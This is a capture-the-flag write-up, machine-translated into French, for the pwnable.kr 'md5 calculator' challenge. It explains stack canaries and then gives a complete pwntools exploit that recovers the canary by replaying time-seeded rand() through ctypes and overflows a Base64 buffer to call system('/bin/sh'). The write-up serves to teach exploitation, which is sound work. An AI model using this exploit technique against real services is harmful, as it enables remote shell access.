Résolution de problèmes avec pwnable.kr 23 - calculatrice md5. Nous traitons avec Stack Canary. Connexion des bibliothèques C en python

image

Dans cet article, nous allons résoudre la 23e tâche à partir du site pwnable.kr , découvrir ce qu'est la pile des canaris et connecter libc en python.

Information organisationnelle
Surtout pour ceux qui veulent apprendre quelque chose de nouveau et se développer dans l'un des domaines de l'information et de la sécurité informatique, j'écrirai et parlerai des catégories suivantes:

  • PWN;
  • cryptographie (Crypto);
  • technologies de réseau (réseau);
  • reverse (Reverse Engineering);
  • stéganographie (Stegano);
  • recherche et exploitation des vulnérabilités WEB.

En plus de cela, je partagerai mon expérience en criminalistique informatique, analyse de logiciels malveillants et micrologiciels, attaques sur les réseaux sans fil et réseaux locaux, réalisation de pentests et écriture d'exploits.

Afin que vous puissiez vous renseigner sur les nouveaux articles, logiciels et autres informations, j'ai créé une chaîne dans Telegram et un groupe pour discuter de tout problème dans le domaine de l'ICD. Aussi, je considérerai personnellement vos demandes, questions, suggestions et recommandations personnelles et répondrai à tout le monde .

Toutes les informations sont fournies à des fins éducatives uniquement. L'auteur de ce document n'assume aucune responsabilité pour tout dommage causé à quelqu'un du fait de l'utilisation des connaissances et des méthodes obtenues à la suite de l'étude de ce document.

Stack canari


Les canaris sont des valeurs connues qui sont placées entre le tampon et les données de contrôle sur la pile pour surveiller les débordements de tampon. Après un débordement de tampon, les premières données à corrompre sont généralement un canari. Ainsi, la valeur du canari sera vérifiée et, si la vérification échoue, signalera un débordement de tampon. Il existe trois types de canaris:

  1. Terminator. Les canaris sont construits à partir de terminateurs nuls, CR, LF et -1. Par conséquent, l'attaquant doit écrire un caractère nul avant d'écrire l'adresse de retour pour éviter de changer le canari. Cela empêche les attaques utilisant strcpy () et d'autres méthodes qui retournent lors de la copie d'un caractère nul, tandis que le canari est connu pour être indésirable.
  2. Aléatoire Généré aléatoirement. Habituellement, un canari aléatoire est généré lors de l'initialisation du programme et stocké dans une variable globale. Cette variable est généralement complétée par des pages non mappées, donc essayer de la lire en utilisant des astuces qui utilisent des erreurs pour lire à partir de la RAM entraîne une erreur de segmentation pour terminer le programme.
  3. XOR aléatoire. Canaris aléatoires qui se querellent avec les données de contrôle. Ainsi, dès que le canari ou les données de contrôle sont bouchés, la valeur du canari sera incorrecte. Ils ont les mêmes vulnérabilités que les canaris aléatoires, sauf que la méthode de «lecture à partir de la pile» pour obtenir des canaris est un peu plus compliquée. L'attaquant doit recevoir le canari, l'algorithme et les données de contrôle afin de régénérer le canari d'origine nécessaire pour contrefaire la protection.

Solution du travail de calculatrice md5


Nous continuons la deuxième section. Je dirai tout de suite que c'est plus difficile que le premier et qu'on ne nous fournit pas le code source des applications. N'oubliez pas la discussion ici . Commençons.

Cliquez sur l'icône avec la calculatrice signature md5. On nous donne l'adresse et le port de connexion et le programme lui-même.

image

Téléchargez tout ce qu'ils nous donnent, vérifiez le binaire.

image

Il s'agit d'un elfe 32 bits avec une pile canari installée et non exécutable. Nous décompilons dans IDA Pro.

image

Le programme a un contrôle captcha intégré. Nous voyons deux fonctions qui sont des fonctions intéressantes: my_hash () et process_hash (). Commençons par le premier.

image

Redéfinissons les types de variables et rendons le code plus facile à analyser:

image

Ainsi, la fonction renverra un certain nombre aléatoire. En même temps, v3 correspond aux données à l'adresse EBP-0xC. Jetons un œil à une autre fonction.

image

Ici, la variable v4 obtient la valeur à l'adresse EBP-0xC, puis se dispute à la sortie de la fonction avec cette valeur. Ensuite, 512 octets sont alloués pour la variable v3, l'entrée du clavier est lue dans la variable g_buf. Après cela, la chaîne de g_buf est décodée en Base64 et écrite dans v3. A partir de v3 md5, le hachage est calculé. Ainsi, l'entrée dans g_buf et la copie dans v3 ne sont pas limitées, il y a donc un débordement de tampon! Jetons un coup d'œil à la pile.

image

La variable v3 est le canari de pile situé après le tampon. Le programme appelle également la fonction des systèmes. Eh bien, nous allons créer un modèle pour un exploit.

from pwn import * p = remote('127.0.0.1', 9002) p.recvuntil('captcha : ') captcha = int(p.recv()) p.sendline(str(captcha)) p.interactive() 

Pour commencer, regardons la charge utile. Nous devons appeler la fonction système avec le paramètre «/ bin / sh». Mais comme la pile n'est pas exécutable, nous appellerons la fonction système, en passant le contrôle à son adresse dans le programme, et en paramètre, l'adresse à la ligne «/ bin / sh», que nous écrirons dans g_buf.

Ainsi (regardez la pile): Vous devez écrire 512 octets de déchets, puis 4 octets de la valeur canari, puis encore 12 octets de déchets. Maintenant, pour ret, nous devons spécifier l'adresse de la fonction système (4 octets), l'adresse de la chaîne «/ bin / sh» (4 octets) et la chaîne «/ bin / sh» elle-même.

Trouvez maintenant les inconnues: l'adresse de l'appel système.

image

Il s'agit de 0x8049187. Et l'adresse de la chaîne est "bin / sh". Pour ce faire, nous devons ajouter le nombre d'octets à l'adresse g_buf à la ligne «/ bin / sh», en tenant compte du codage base64 - c'est 4/3 de la valeur d'origine.

image

Autrement dit, l'adresse de la ligne: 0x804b0e0 + (512 + 4 + 12 + 4 + 4 + 1) * 4/3 = 0x804b3ac. Composez la charge utile.

 payload = 'A' * 512 payload += p32(canary) payload += 'A' * 12 payload += p32(0x8049187) payload += p32(0x804b3ac) payload = b64e(payload) payload += "/bin/sh\x00" 

Reste à trouver le canari. Comme nous l'avons découvert, il résume avec des valeurs aléatoires dans la fonction my_hash (), qui en conséquence nous donne un canari. Et srand (time (0)) est utilisé comme graine pour la fonction rand. Autrement dit, si nous répétons la procédure dans notre exploit, puis soustrayons la valeur générée du cookie envoyé, nous trouverons le canari. Appelez rand () depuis libc en python.

 from ctypes import * import os import time libc=CDLL('libc.so.6') t = int(time.time()) libc.srand(t) n = [libc.rand() for _ in range(8)] canary = captcha - n[1] - n[5] - n[2] + n[3] - n[7] - n[4] + n[6] canary &= 0xffffffff 

C’est tout. Le code complet ressemble à ceci.
 from pwn import * from ctypes import * import os import time libc=CDLL('libc.so.6') t = int(time.time()) libc.srand(t) n = [libc.rand() for _ in range(8)] p = remote('127.0.0.1', 9002) p.recvuntil('captcha : ') captcha = int(p.recv()) p.sendline(str(captcha)) canary = captcha - n[1] - n[5] - n[2] + n[3] - n[7] - n[4] + n[6] canary &= 0xffffffff payload = 'A' * 512 payload += p32(canary) payload += 'A' * 12 payload += p32(0x8049187) payload += p32(0x804b3ac) payload = b64e(payload) payload += "/bin/sh\x00" p.sendline(payload) p.interactive() 

Je l'ai exécuté plusieurs fois et je n'ai pas fonctionné, puis j'ai réalisé qu'en raison de la vitesse d'Internet et du décalage horaire, le résultat de rand () ne correspond pas. Lancé sur le serveur.

image

Nous obtenons le drapeau souhaité. Vous pouvez nous rejoindre sur Telegram .

Source: https://habr.com/ru/post/fr467485/


All Articles